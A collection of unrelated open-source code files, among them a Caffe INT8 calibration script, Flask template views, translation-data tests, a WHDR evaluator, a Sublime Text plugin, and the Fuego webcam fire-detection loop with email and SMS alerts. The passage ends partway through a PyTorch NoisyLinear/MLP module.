activation_quantize(net, transformer, images_files)
# save the calibration tables,best wish for your INT8 inference have low accuracy loss :)
save_calibration_file(calibration_path)
# time end
time_end = datetime.datetime.now()
print("\nCaffe Int8 Calibration table create success, it's cost %s, best wish for your INT8 inference has a low accuracy loss...\(^▽^)/...2333..." % (time_end - time_start))
if __name__ == "__main__":
main()
| 20,440 | 6,196 |
"""
All your views aka. your template endpoints go here.
There are two ways to create a view.
1. Create a new Subclass inheriting from one of the flask_template_master views
2. Use the view-factory function flask_template_master.views.create_template_endpoint
Each view requires an 1 (and 2 optional) things:
1. An environment: The environment provides the templates and handles all options of how templates are rendered
2. (optional) An global provider: A global provider provides variables that are accessible in all templates of the endpoint
3. (optional) An compiler: The compiler gets the rendered template and can handle a postprocessing step and controls the
data that is returned. This can e.g. be used to run a Latex compilation.
"""
import jinja2
from flask_template_master.compiler import LatexCompiler
from flask_template_master.views import BaseTemplateView, create_template_endpoint
from flask_template_master import Api
from flask_template_master.global_provider import DictGlobalProvider
from flask_template_master.environments import LATEX_TEMPLATE_CONFIG
api = Api() # create an instance of an flask-restfull API. Always required!
class TestView(BaseTemplateView):
"""This is an example of a view created as a subclass.
This is a simple view using a Dict loader to provide all template strings inline.
It does not use a compile step and simply returns the rendered template string on POST.
It passes one value as a global variable. This can be seen in template b.
The global variable will be overwritten, if a variable with the same name is passed by the POST request
"""
# The environment needs to be a jinja environment with a loader
ENVIRONMENT = jinja2.Environment(loader=jinja2.DictLoader({'a': '{{ test }}', 'b': '{{ test }} {{ global }}'}))
GLOBAL_PROVIDER = DictGlobalProvider({'global': 'This is a global value'})
# This registers '/class_test/' for the overview and '/class_test/<template_name> for the individual templates
TestView.add_as_resource(api, '/class_test/')
# This is an example on how to use the factory function
# Setting up the jinja2 enviroemnt using a file loader with LaTex config
environment = jinja2.Environment(loader=jinja2.FileSystemLoader('./templates'), **LATEX_TEMPLATE_CONFIG)
compiler = LatexCompiler()
create_template_endpoint(api, '/factory_test/', environment=environment, compiler=compiler)
| 2,404 | 633 |
class PerceptronError(Exception):
pass
| 44 | 15 |
#!/usr/bin/env python3
import unittest
import os
from pytorch_translate import data
from pytorch_translate import dictionary
from pytorch_translate.test import utils as test_utils
class TestInMemoryNumpyDataset(unittest.TestCase):
def setUp(self):
self.src_txt, self.trg_txt = test_utils.create_test_text_files()
self.vocab_file_path = test_utils.make_temp_file()
self.d = dictionary.Dictionary.build_vocab_file(
corpus_files=[self.src_txt, self.trg_txt],
vocab_file=self.vocab_file_path,
max_vocab_size=0,
)
# src_ref is reversed, +1 for lua
self.src_ref = [
[107, 105, 103, 101],
[105, 105, 103, 103, 101, 101],
[103, 103, 103, 103, 101, 101, 101, 101],
[101, 101, 101, 101, 101, 101, 101, 101, 101, 101],
]
self.trg_ref = [
[102, 102, 102, 102, 102, 102, 102, 102, 102, 102],
[102, 102, 102, 102, 104, 104, 104, 104],
[102, 102, 104, 104, 106, 106],
[102, 104, 106, 108],
]
self.src_txt_numberized, self.trg_txt_numberized = test_utils.create_test_numberized_data_files(
self.src_ref, self.trg_ref, reverse_source=True
)
self.lua_eos = self.d.eos_index + 1
self.num_sentences = 4
def tearDown(self):
os.remove(self.src_txt)
os.remove(self.trg_txt)
os.remove(self.vocab_file_path)
def test_parse(self):
src_dataset = data.InMemoryNumpyDataset()
trg_dataset = data.InMemoryNumpyDataset()
for _ in range(2):
src_dataset.parse(
self.src_txt, self.d, reverse_order=True, append_eos=False
)
trg_dataset.parse(
self.trg_txt, self.d, reverse_order=False, append_eos=True
)
self.assertEqual(self.num_sentences, len(src_dataset))
self.assertEqual(self.num_sentences, len(trg_dataset))
for i in range(self.num_sentences):
self.assertListEqual(self.src_ref[i], src_dataset[i].tolist())
self.assertListEqual(
self.trg_ref[i] + [self.lua_eos], trg_dataset[i].tolist()
)
def test_parse_numberize(self):
src_dataset = data.InMemoryNumpyDataset()
trg_dataset = data.InMemoryNumpyDataset()
for _ in range(2):
src_dataset.parse(
self.src_txt_numberized,
self.d,
reverse_order=True,
append_eos=False,
already_numberized=True,
)
trg_dataset.parse(
self.trg_txt_numberized,
self.d,
reverse_order=False,
append_eos=True,
already_numberized=True,
)
self.assertEqual(self.num_sentences, len(src_dataset))
self.assertEqual(self.num_sentences, len(trg_dataset))
for i in range(self.num_sentences):
self.assertListEqual(self.src_ref[i], src_dataset[i].tolist())
self.assertListEqual(
self.trg_ref[i] + [self.lua_eos], trg_dataset[i].tolist()
)
def test_parse_oversampling(self):
dataset = data.InMemoryNumpyDataset()
factors = [(1, 0), (3, 2), (4, 4)]
for o1, o2 in factors:
corpora = [
data.MultilingualCorpusConfig(
dialect_id=None,
data_file=self.trg_txt,
dict=self.d,
oversampling=o1,
),
data.MultilingualCorpusConfig(
dialect_id=None,
data_file=self.trg_txt,
dict=self.d,
oversampling=o2,
),
]
dataset.parse_multilingual(corpora)
self.assertEqual((o1 + o2) * self.num_sentences, len(dataset))
def test_parse_multiling(self):
prepend_dataset = data.InMemoryNumpyDataset()
append_dataset = data.InMemoryNumpyDataset()
corpora = [
data.MultilingualCorpusConfig(
dialect_id=10, data_file=self.trg_txt, dict=self.d, oversampling=1
),
data.MultilingualCorpusConfig(
dialect_id=11, data_file=self.trg_txt, dict=self.d, oversampling=1
),
]
lang1 = corpora[0].dialect_id + 1 # +1 for lua
lang2 = corpora[1].dialect_id + 1 # +1 for lua
prepend_dataset.parse_multilingual(
corpora, reverse_order=False, append_eos=False, prepend_language_id=True
)
append_dataset.parse_multilingual(
corpora, reverse_order=False, append_eos=False, prepend_language_id=False
)
self.assertEqual(2 * self.num_sentences, len(prepend_dataset))
self.assertEqual(2 * self.num_sentences, len(append_dataset))
for i in range(self.num_sentences):
self.assertListEqual([lang1] + self.trg_ref[i], prepend_dataset[i].tolist())
self.assertListEqual(self.trg_ref[i] + [lang1], append_dataset[i].tolist())
self.assertListEqual(
[lang2] + self.trg_ref[i],
prepend_dataset[i + self.num_sentences].tolist(),
)
self.assertListEqual(
self.trg_ref[i] + [lang2],
append_dataset[i + self.num_sentences].tolist(),
)
| 5,534 | 1,915 |
import numpy as np
import sys
import json
import glob
import os.path as osp
import cv2
def compute_whdr(reflectance, judgements, delta=0.1):
points = judgements['intrinsic_points']
comparisons = judgements['intrinsic_comparisons']
id_to_points = {p['id']: p for p in points}
rows, cols = reflectance.shape[0:2]
error_sum = 0.0
error_equal_sum = 0.0
error_inequal_sum = 0.0
weight_sum = 0.0
weight_equal_sum = 0.0
weight_inequal_sum = 0.0
for c in comparisons:
# "darker" is "J_i" in our paper
darker = c['darker']
if darker not in ('1', '2', 'E'):
continue
# "darker_score" is "w_i" in our paper
weight = c['darker_score']
if weight <= 0.0 or weight is None:
continue
point1 = id_to_points[c['point1']]
point2 = id_to_points[c['point2']]
if not point1['opaque'] or not point2['opaque']:
continue
# convert to grayscale and threshold
l1 = max(1e-10, np.mean(reflectance[int(point1['y'] * rows), int(point1['x'] * cols), ...]))
l2 = max(1e-10, np.mean(reflectance[int(point2['y'] * rows), int(point2['x'] * cols), ...]))
# convert algorithm value to the same units as human judgements
if l2 / l1 > 1.0 + delta:
alg_darker = '1'
elif l1 / l2 > 1.0 + delta:
alg_darker = '2'
else:
alg_darker = 'E'
if darker == 'E':
if darker != alg_darker:
error_equal_sum += weight
weight_equal_sum += weight
else:
if darker != alg_darker:
error_inequal_sum += weight
weight_inequal_sum += weight
if darker != alg_darker:
error_sum += weight
weight_sum += weight
if weight_sum:
return (error_sum / weight_sum), error_equal_sum/( weight_equal_sum + 1e-10), error_inequal_sum/(weight_inequal_sum + 1e-10)
else:
return None
#root = './testReal_cascade0_black_height120_width160/cascade0/iiw/'
root = 'IIW_cascade1/results_brdf2_brdf1/'
rootGt = '/home/zhl/CVPR20/Resubmission/Dataset/IIW/iiw-dataset/data/'
suffix = 'albedoBS1.png'
count = 0.0
whdr_sum = 0.0
whdr_mean = 0.0
img_list = glob.glob(osp.join(root, '*_%s' % suffix ) )
for img_path in img_list:
#load CGI precomputed file
judgement_path = osp.join(rootGt, img_path.split('/')[-1].split('_')[0] + '.json' )
judgements = json.load(open(judgement_path) )
count+=1.0
ourR = cv2.imread(img_path ).astype(np.float32 ) / 255.0
whdr, _, _ = compute_whdr(ourR, judgements )
whdr_sum += whdr
print('img_path: {0}, whdr: current {1} average {2}'.
format(img_path.split('/')[-1].split('_')[0], whdr, whdr_sum / count ) )
whdr_mean = whdr_sum / count
print('whdr ours: {0}'.format(whdr_mean ) )
| 2,877 | 1,077 |
__title__ = 'The Onion Box'
__description__ = 'Dashboard to monitor Tor node operations.'
__version__ = '20.2'
__stamp__ = '20200119|095654'
| 141 | 61 |
import re
from sublime import Region
import sublime_plugin
REPLACEMENTS = {
'\u00a0': ' ', # no-break space
'\u200b': '', # zero-width space
}
class UnicodeTrapsListener(sublime_plugin.EventListener):
@staticmethod
def on_pre_save(view):
view.run_command('unicode_traps')
class UnicodeTraps(sublime_plugin.TextCommand):
def run(self, edit):
all_file = self.view.substr(Region(0, self.view.size()))
matches = list(re.finditer('[%s]' % ''.join(REPLACEMENTS), all_file))
for match in reversed(matches):
self.view.replace(edit, Region(*match.span()), REPLACEMENTS[match.group()])
| 649 | 223 |
import glob
import pandas as pd
from configparser import ConfigParser
import os
from simba.drop_bp_cords import *
def multiplyFreeHand(inifile, currVid):
_, CurrVidName, ext = get_fn_ext(currVid)
config = ConfigParser()
configFile = str(inifile)
config.read(configFile)
projectPath = config.get('General settings', 'project_path')
videoPath = os.path.join(projectPath, 'videos')
ROIcoordinatesPath = os.path.join(projectPath, 'logs', 'measures', 'ROI_definitions.h5')
try:
rectanglesInfo = pd.read_hdf(ROIcoordinatesPath, key='rectangles')
circleInfo = pd.read_hdf(ROIcoordinatesPath, key='circleDf')
polygonInfo = pd.read_hdf(ROIcoordinatesPath, key='polygons')
rectangularDf = rectanglesInfo.loc[rectanglesInfo['Video'] == str(CurrVidName)]
circleDf = circleInfo.loc[circleInfo['Video'] == str(CurrVidName)]
polygonDf = polygonInfo.loc[polygonInfo['Video'] == str(CurrVidName)]
ROIdefExist = True
except FileNotFoundError:
ROIdefExist = False
print('Cannot apply to all: no ROI definitions exists')
if ROIdefExist is True:
if (len(rectangularDf) == 0 and len(circleDf) == 0 and len(polygonDf) == 0):
print('Cannot apply ROIs to all: no records exist for ' + str(CurrVidName))
else:
videofilesFound = glob.glob(videoPath + '/*.mp4') + glob.glob(videoPath + '/*.avi')
duplicatedRec, duplicatedCirc, duplicatedPoly = (rectangularDf.copy(), circleDf.copy(), polygonDf.copy())
for vids in videofilesFound:
_, CurrVidName, ext = get_fn_ext(vids)
duplicatedRec['Video'], duplicatedCirc['Video'], duplicatedPoly['Video'] = (CurrVidName, CurrVidName, CurrVidName)
rectangularDf = rectangularDf.append(duplicatedRec, ignore_index=True)
circleDf = circleDf.append(duplicatedCirc, ignore_index=True)
polygonDf = polygonDf.append(duplicatedPoly, ignore_index=True)
rectangularDf = rectangularDf.drop_duplicates(subset=['Video', 'Name'], keep="first")
circleDf = circleDf.drop_duplicates(subset=['Video', 'Name'], keep="first")
polygonDf = polygonDf.drop_duplicates(subset=['Video', 'Name'], keep="first")
store = pd.HDFStore(ROIcoordinatesPath, mode='w')
store['rectangles'] = rectangularDf
store['circleDf'] = circleDf
store['polygons'] = polygonDf
store.close()
print('ROI(s) for ' + CurrVidName + ' applied to all videos')
print('Next, click on "draw" to modify ROI location(s) or click on "reset" to remove ROI drawing(s)')
| 2,743 | 886 |
from logging import getLogger
import traceback
from .get_public_exchange import get_public_exchange
logger = getLogger("__main__").getChild(__name__)
def fetch_order_book(exchange_name, pair):
logger.debug("start")
logger.debug(exchange_name)
logger.debug(pair)
exchange = get_public_exchange(exchange_name)
try:
logger.debug("try")
order_book = exchange.fetch_order_book(pair)
logger.info("success")
except Exception as error:
logger.warning("failure")
logger.warning(error)
logger.debug(traceback.format_exc())
order_book = None
logger.debug(order_book)
logger.debug("end")
return order_book
| 689 | 203 |
# Copyright 2018 The Fuego Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""
@author: Kinshuk Govil
This is the main code for reading images from webcams and detecting fires
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import sys
fuegoRoot = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.insert(0, os.path.join(fuegoRoot, 'lib'))
sys.path.insert(0, fuegoRoot)
import settings
settings.fuegoRoot = fuegoRoot
import collect_args
import rect_to_squares
import goog_helper
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # quiet down tensorflow logging (must be done before tf_helper)
import tf_helper
import db_manager
import email_helper
import sms_helper
import img_archive
from detection_policies import policies
import logging
import pathlib
import tempfile
import shutil
import time, datetime, dateutil.parser
import random
import re
import hashlib
from urllib.request import urlretrieve
import tensorflow as tf
from PIL import Image, ImageFile, ImageDraw, ImageFont
ImageFile.LOAD_TRUNCATED_IMAGES = True
def getNextImage(dbManager, cameras, cameraID=None):
"""Gets the next image to check for smoke
Uses a shared counter being updated by all cooperating detection processes
to index into the list of cameras to download the image to a local
temporary directory
Args:
dbManager (DbManager):
cameras (list): list of cameras
cameraID (str): optional specific camera to get image from
Returns:
Tuple containing camera name, current timestamp, and filepath of the image
"""
if getNextImage.tmpDir == None:
getNextImage.tmpDir = tempfile.TemporaryDirectory()
logging.warning('TempDir %s', getNextImage.tmpDir.name)
if cameraID:
camera = list(filter(lambda x: x['name'] == cameraID, cameras))[0]
else:
index = dbManager.getNextSourcesCounter() % len(cameras)
camera = cameras[index]
timestamp = int(time.time())
imgPath = img_archive.getImgPath(getNextImage.tmpDir.name, camera['name'], timestamp)
# logging.warning('urlr %s %s', camera['url'], imgPath)
try:
urlretrieve(camera['url'], imgPath)
except Exception as e:
logging.error('Error fetching image from %s %s', camera['name'], str(e))
return getNextImage(dbManager, cameras)
md5 = hashlib.md5(open(imgPath, 'rb').read()).hexdigest()
if ('md5' in camera) and (camera['md5'] == md5) and not cameraID:
logging.warning('Camera %s image unchanged', camera['name'])
# skip to next camera
return getNextImage(dbManager, cameras)
camera['md5'] = md5
return (camera['name'], timestamp, imgPath, md5)
getNextImage.tmpDir = None
# XXXXX Use a fixed stable directory for testing
# from collections import namedtuple
# Tdir = namedtuple('Tdir', ['name'])
# getNextImage.tmpDir = Tdir('c:/tmp/dftest')
def getNextImageFromDir(imgDirectory):
"""Gets the next image to check for smoke from given directory
A variant of getNextImage() above but works with files already present
on the locla filesystem.
Args:
imgDirectory (str): directory containing the files
Returns:
Tuple containing camera name, current timestamp, and filepath of the image
"""
if getNextImageFromDir.tmpDir == None:
getNextImageFromDir.tmpDir = tempfile.TemporaryDirectory()
logging.warning('TempDir %s', getNextImageFromDir.tmpDir.name)
if not getNextImageFromDir.files:
allFiles = os.listdir(imgDirectory)
# filter out files with _Score suffix because they contain annotated scores
# generated by drawFireBox() function below.
getNextImageFromDir.files = list(filter(lambda x: '_Score.jpg' not in x, allFiles))
getNextImageFromDir.index += 1
if getNextImageFromDir.index < len(getNextImageFromDir.files):
fileName = getNextImageFromDir.files[getNextImageFromDir.index]
origPath = os.path.join(imgDirectory, fileName)
destPath = os.path.join(getNextImageFromDir.tmpDir.name, fileName)
shutil.copyfile(origPath, destPath)
parsed = img_archive.parseFilename(fileName)
if not parsed:
# failed to parse, so skip to next image
return getNextImageFromDir(imgDirectory)
md5 = hashlib.md5(open(destPath, 'rb').read()).hexdigest()
return (parsed['cameraID'], parsed['unixTime'], destPath, md5)
logging.warning('Finished processing all images in directory. Exiting')
exit(0)
getNextImageFromDir.files = None
getNextImageFromDir.index = -1
getNextImageFromDir.tmpDir = None
def checkAndUpdateAlerts(dbManager, camera, timestamp, driveFileIDs):
"""Check if alert has been recently sent out for given camera
Args:
dbManager (DbManager):
camera (str): camera name
timestamp (int):
driveFileIDs (list): List of Google drive IDs for the uploaded image files
Returns:
True if this is a new alert, False otherwise
"""
# Only alert if there has not been a detection in the last hour. This prevents spam
# from long lasting fires.
sqlTemplate = """SELECT * FROM detections
where CameraName='%s' and timestamp > %s and timestamp < %s"""
sqlStr = sqlTemplate % (camera, timestamp - 60*60, timestamp)
dbResult = dbManager.query(sqlStr)
if len(dbResult) > 0:
logging.warning('Supressing new alert due to recent detection')
return False
dbRow = {
'CameraName': camera,
'Timestamp': timestamp,
'ImageID': driveFileIDs[0] if driveFileIDs else ''
}
dbManager.add_data('alerts', dbRow)
return True
def alertFire(constants, cameraID, imgPath, annotatedFile, driveFileIDs, fireSegment, timestamp):
"""Send alerts about given fire through all channels (currently email and sms)
Args:
constants (dict): "global" contants
cameraID (str): camera name
imgPath: filepath of the original image
annotatedFile: filepath of the annotated image
driveFileIDs (list): List of Google drive IDs for the uploaded image files
fireSegment (dictionary): dictionary with information for the segment with fire/smoke
timestamp (int): time.time() value when image was taken
"""
emailFireNotification(constants, cameraID, imgPath, annotatedFile, driveFileIDs, fireSegment, timestamp)
smsFireNotification(constants['dbManager'], cameraID)
def emailFireNotification(constants, cameraID, imgPath, annotatedFile, driveFileIDs, fireSegment, timestamp):
"""Send an email alert for a potential new fire
Send email with information about the camera and fire score includeing
image attachments
Args:
constants (dict): "global" contants
cameraID (str): camera name
imgPath: filepath of the original image
annotatedFile: filepath of the annotated image
driveFileIDs (list): List of Google drive IDs for the uploaded image files
fireSegment (dictionary): dictionary with information for the segment with fire/smoke
timestamp (int): time.time() value when image was taken
"""
dbManager = constants['dbManager']
subject = 'Possible (%d%%) fire in camera %s' % (int(fireSegment['score']*100), cameraID)
body = 'Please check the attached images for fire.'
# commenting out links to google drive because they appear as extra attachments causing confusion
# and some email recipients don't even have permissions to access drive.
# for driveFileID in driveFileIDs:
# driveTempl = '\nAlso available from google drive as https://drive.google.com/file/d/%s'
# driveBody = driveTempl % driveFileID
# body += driveBody
# emails are sent from settings.fuegoEmail and bcc to everyone with active emails in notifications SQL table
dbResult = dbManager.getNotifications(filterActiveEmail = True)
emails = [x['email'] for x in dbResult]
if len(emails) > 0:
# attach images spanning a few minutes so reviewers can evaluate based on progression
startTimeDT = datetime.datetime.fromtimestamp(timestamp - 3*60)
endTimeDT = datetime.datetime.fromtimestamp(timestamp - 1*60)
with tempfile.TemporaryDirectory() as tmpDirName:
oldImages = img_archive.getHpwrenImages(constants['googleServices'], settings, tmpDirName,
constants['camArchives'], cameraID, startTimeDT, endTimeDT, 1)
attachments = oldImages or []
attachments.append(imgPath)
if annotatedFile:
attachments.append(annotatedFile)
email_helper.sendEmail(constants['googleServices']['mail'], settings.fuegoEmail, emails, subject, body, attachments)
def smsFireNotification(dbManager, cameraID):
"""Send an sms (phone text message) alert for a potential new fire
Args:
dbManager (DbManager):
cameraID (str): camera name
"""
message = 'Fuego fire notification in camera %s. Please check email for details' % cameraID
dbResult = dbManager.getNotifications(filterActivePhone = True)
phones = [x['phone'] for x in dbResult]
if len(phones) > 0:
for phone in phones:
sms_helper.sendSms(settings, phone, message)
def deleteImageFiles(imgPath, origImgPath, annotatedFile):
"""Delete all image files given in segments
Args:
imgPath: filepath of the original image
annotatedFile: filepath of the annotated image
"""
os.remove(imgPath)
if imgPath != origImgPath:
os.remove(origImgPath)
if annotatedFile:
os.remove(annotatedFile)
ppath = pathlib.PurePath(imgPath)
# leftoverFiles = os.listdir(str(ppath.parent))
# if len(leftoverFiles) > 0:
# logging.warning('leftover files %s', str(leftoverFiles))
def getLastScoreCamera(dbManager):
sqlStr = "SELECT CameraName from scores order by Timestamp desc limit 1;"
dbResult = dbManager.query(sqlStr)
if len(dbResult) > 0:
return dbResult[0]['CameraName']
return None
def heartBeat(filename):
"""Inform monitor process that this detection process is alive
Informs by updating the timestamp on given file
Args:
filename (str): file path of file used for heartbeating
"""
pathlib.Path(filename).touch()
def genDiffImage(imgPath, earlierImgPath, minusMinutes):
"""Subtract the two given images and store result in new difference image file
Args:
imgPath (str): filepath of the current image (to subtract from)
imgPath (str): filepath of the earlier image (value to subtract)
minusMinutes (int): number of minutes separating subtracted images
Returns:
file path to the difference image
"""
imgA = Image.open(imgPath)
imgB = Image.open(earlierImgPath)
imgDiff = img_archive.diffImages(imgA, imgB)
parsedName = img_archive.parseFilename(imgPath)
parsedName['diffMinutes'] = minusMinutes
imgDiffName = img_archive.repackFileName(parsedName)
ppath = pathlib.PurePath(imgPath)
imgDiffPath = os.path.join(str(ppath.parent), imgDiffName)
imgDiff.save(imgDiffPath, format='JPEG')
return imgDiffPath
def updateTimeTracker(timeTracker, processingTime):
"""Update the time tracker data with given time to process current image
If enough samples new samples have been reorded, resets the history and
updates the average timePerSample
Args:
timeTracker (dict): tracks recent image processing times
processingTime (float): number of seconds needed to process current image
"""
timeTracker['totalTime'] += processingTime
timeTracker['numSamples'] += 1
# after N samples, update the rate to adapt to current conditions
# N = 50 should be big enough to be stable yet small enough to adapt
if timeTracker['numSamples'] > 50:
timeTracker['timePerSample'] = timeTracker['totalTime'] / timeTracker['numSamples']
timeTracker['totalTime'] = 0
timeTracker['numSamples'] = 0
logging.warning('New timePerSample %.2f', timeTracker['timePerSample'])
def initializeTimeTracker():
"""Initialize the time tracker
Returns:
timeTracker (dict):
"""
return {
'totalTime': 0.0,
'numSamples': 0,
'timePerSample': 3 # start off with estimate of 3 seconds per camera
}
def getArchivedImages(constants, cameras, startTimeDT, timeRangeSeconds, minusMinutes):
"""Get random images from HPWREN archive matching given constraints and optionally subtract them
Args:
constants (dict): "global" contants
cameras (list): list of cameras
startTimeDT (datetime): starting time of time range
timeRangeSeconds (int): number of seconds in time range
minusMinutes (int): number of desired minutes between images to subract
Returns:
Tuple containing camera name, current timestamp, filepath of regular image, and filepath of difference image
"""
if getArchivedImages.tmpDir == None:
getArchivedImages.tmpDir = tempfile.TemporaryDirectory()
logging.warning('TempDir %s', getArchivedImages.tmpDir.name)
cameraID = cameras[int(len(cameras)*random.random())]['name']
timeDT = startTimeDT + datetime.timedelta(seconds = random.random()*timeRangeSeconds)
if minusMinutes:
prevTimeDT = timeDT + datetime.timedelta(seconds = -60 * minusMinutes)
else:
prevTimeDT = timeDT
files = img_archive.getHpwrenImages(constants['googleServices'], settings, getArchivedImages.tmpDir.name,
constants['camArchives'], cameraID, prevTimeDT, timeDT, minusMinutes or 1)
# logging.warning('files %s', str(files))
if not files:
return (None, None, None, None)
if minusMinutes:
if len(files) > 1:
if files[0] >= files[1]: # files[0] is supposed to be earlier than files[1]
logging.warning('unexpected file order %s', str(files))
for file in files:
os.remove(file)
return (None, None, None, None)
imgDiffPath = genDiffImage(files[1], files[0], minusMinutes)
os.remove(files[0]) # no longer needed
parsedName = img_archive.parseFilename(files[1])
return (cameraID, parsedName['unixTime'], files[1], imgDiffPath)
else:
logging.warning('unexpected file count %s', str(files))
for file in files:
os.remove(file)
return (None, None, None, None)
elif len(files) > 0:
parsedName = img_archive.parseFilename(files[0])
return (cameraID, parsedName['unixTime'], files[0], files[0])
return (None, None, None, None)
getArchivedImages.tmpDir = None
def main():
optArgs = [
["b", "heartbeat", "filename used for heartbeating check"],
["c", "collectPositves", "collect positive segments for training data"],
["d", "imgDirectory", "Name of the directory containing the images"],
["t", "time", "Time breakdown for processing images"],
["m", "minusMinutes", "(optional) subtract images from given number of minutes ago"],
["r", "restrictType", "Only process images from cameras of given type"],
["s", "startTime", "(optional) performs search with modifiedTime > startTime"],
["e", "endTime", "(optional) performs search with modifiedTime < endTime"],
]
args = collect_args.collectArgs([], optionalArgs=optArgs, parentParsers=[goog_helper.getParentParser()])
minusMinutes = int(args.minusMinutes) if args.minusMinutes else 0
googleServices = goog_helper.getGoogleServices(settings, args)
dbManager = db_manager.DbManager(sqliteFile=settings.db_file,
psqlHost=settings.psqlHost, psqlDb=settings.psqlDb,
psqlUser=settings.psqlUser, psqlPasswd=settings.psqlPasswd)
tfConfig = tf.ConfigProto()
tfConfig.gpu_options.per_process_gpu_memory_fraction = 0.1 #hopefully reduces segfaults
cameras = dbManager.get_sources(activeOnly=True, restrictType=args.restrictType)
startTimeDT = dateutil.parser.parse(args.startTime) if args.startTime else None
endTimeDT = dateutil.parser.parse(args.endTime) if args.endTime else None
timeRangeSeconds = None
useArchivedImages = False
camArchives = img_archive.getHpwrenCameraArchives(googleServices['sheet'], settings)
DetectionPolicyClass = policies.get_policies()[settings.detectionPolicy]
detectionPolicy = DetectionPolicyClass(settings, args, googleServices, dbManager, tfConfig, camArchives, minusMinutes, useArchivedImages)
constants = { # dictionary of constants to reduce parameters in various functions
'args': args,
'googleServices': googleServices,
'camArchives': camArchives,
'dbManager': dbManager,
}
if startTimeDT or endTimeDT:
assert startTimeDT and endTimeDT
timeRangeSeconds = (endTimeDT-startTimeDT).total_seconds()
assert timeRangeSeconds > 0
assert args.collectPositves
useArchivedImages = True
random.seed(0) # fixed seed guarantees same randomized ordering. Should make this optional argument in future
processingTimeTracker = initializeTimeTracker()
while True:
classifyImgPath = None
timeStart = time.time()
if useArchivedImages:
(cameraID, timestamp, imgPath, classifyImgPath) = \
getArchivedImages(constants, cameras, startTimeDT, timeRangeSeconds, minusMinutes)
# elif minusMinutes: to be resurrected using archive functionality
# elif args.imgDirectory: unused functionality -- to delete?
# (cameraID, timestamp, imgPath, md5) = getNextImageFromDir(args.imgDirectory)
else: # regular (non diff mode), grab image and process
(cameraID, timestamp, imgPath, md5) = getNextImage(dbManager, cameras)
classifyImgPath = imgPath
if not cameraID:
continue # skip to next camera
timeFetch = time.time()
image_spec = [{}]
image_spec[-1]['path'] = classifyImgPath
image_spec[-1]['timestamp'] = timestamp
image_spec[-1]['cameraID'] = cameraID
detectionResult = detectionPolicy.detect(image_spec)
timeDetect = time.time()
if detectionResult['fireSegment']:
if checkAndUpdateAlerts(dbManager, cameraID, timestamp, detectionResult['driveFileIDs']):
alertFire(constants, cameraID, imgPath, detectionResult['annotatedFile'], detectionResult['driveFileIDs'], detectionResult['fireSegment'], timestamp)
deleteImageFiles(imgPath, imgPath, detectionResult['annotatedFile'])
if (args.heartbeat):
heartBeat(args.heartbeat)
timePost = time.time()
updateTimeTracker(processingTimeTracker, timePost - timeStart)
if args.time:
if not detectionResult['timeMid']:
detectionResult['timeMid'] = timeDetect
logging.warning('Timings: fetch=%.2f, detect0=%.2f, detect1=%.2f post=%.2f',
timeFetch-timeStart, detectionResult['timeMid']-timeFetch, timeDetect-detectionResult['timeMid'], timePost-timeDetect)
if __name__=="__main__":
main()
| 20,080 | 5,618 |
import math
import numpy as np
import torch
import torch.nn.functional as F
from torch import nn
class SimpleMLP(nn.Module):
"""Simple MLP function approximator for Q-Learning."""
def __init__(self, in_dim, out_dim, hidden_units=256, num_hidden_layers=1):
super().__init__()
self.input_layer = nn.Sequential(nn.Linear(in_dim, hidden_units), nn.ReLU())
self.hidden_layers = nn.Sequential(
*[nn.Sequential(nn.Linear(hidden_units, hidden_units), nn.ReLU()) for _ in range(num_hidden_layers - 1)]
)
self.output_layer = nn.Linear(hidden_units, out_dim)
def forward(self, x):
x = self.input_layer(x)
x = self.hidden_layers(x)
return self.output_layer(x)
class NoisyLinear(nn.Module):
"""NoisyLinear Layer"""
def __init__(self, in_dim, out_dim, std_init=0.4):
super(NoisyLinear, self).__init__()
self.in_features = in_dim
self.out_features = out_dim
self.std_init = std_init
self.weight_mu = nn.Parameter(torch.empty(out_dim, in_dim))
self.weight_sigma = nn.Parameter(torch.empty(out_dim, in_dim))
self.register_buffer("weight_epsilon", torch.empty(out_dim, in_dim))
self.bias_mu = nn.Parameter(torch.empty(out_dim))
self.bias_sigma = nn.Parameter(torch.empty(out_dim))
self.register_buffer("bias_epsilon", torch.empty(out_dim))
self.reset_parameters()
self.sample_noise()
def reset_parameters(self):
mu_range = 1.0 / math.sqrt(self.in_features)
self.weight_mu.data.uniform_(-mu_range, mu_range)
self.weight_sigma.data.fill_(self.std_init / math.sqrt(self.in_features))
self.bias_mu.data.uniform_(-mu_range, mu_range)
self.bias_sigma.data.fill_(self.std_init / math.sqrt(self.out_features))
def _scale_noise(self, size):
x = torch.randn(size)
return x.sign().mul_(x.abs().sqrt_())
def sample_noise(self):
epsilon_in = self._scale_noise(self.in_features)
epsilon_out = self._scale_noise(self.out_features)
weight_eps = epsilon_out.ger(epsilon_in)
bias_eps = epsilon_out
return weight_eps, bias_eps
def forward(self, inp):
if self.training:
weight_eps, bias_eps = self.sample_noise()
return F.linear(
inp,
self.weight_mu + self.weight_sigma * weight_eps,
self.bias_mu + self.bias_sigma * bias_eps,
)
else:
return F.linear(inp, self.weight_mu, self.bias_mu)
class ComplexMLP(nn.Module):
"""MLP function approximator for Q-Learning."""
def __init__(
self,
in_dim,
out_dim,
hidden_units=256,
num_hidden_layers=1,
noisy=False,
dueling=False,
sigma_init=0.5,
atoms=1,
):
super().__init__()
self._noisy = noisy
self._dueling = dueling
self._sigma_init = sigma_init
self._in_dim = np.prod(in_dim)
self._hidden_units = hidden_units
if self._dueling:
num_hidden_layers = max(num_hidden_layers - 1, 2)
self._num_hidden_layers = num_hidden_layers
self._out_dim = out_dim
self._atoms = atoms
self.init_networks()
def init_networks(self):
if self._noisy:
self.input_layer = nn.Sequential(
NoisyLinear(self._in_dim, self._hidden_units, self._sigma_init),
nn.ReLU(),
)
self.hidden_layers = nn.Sequential(
*[
nn.Sequential(
NoisyLinear(self._hidden_units, self._hidden_units, self._sigma_init),
nn.ReLU(),
)
for _ in range(self._num_hidden_layers - 1)
]
)
else:
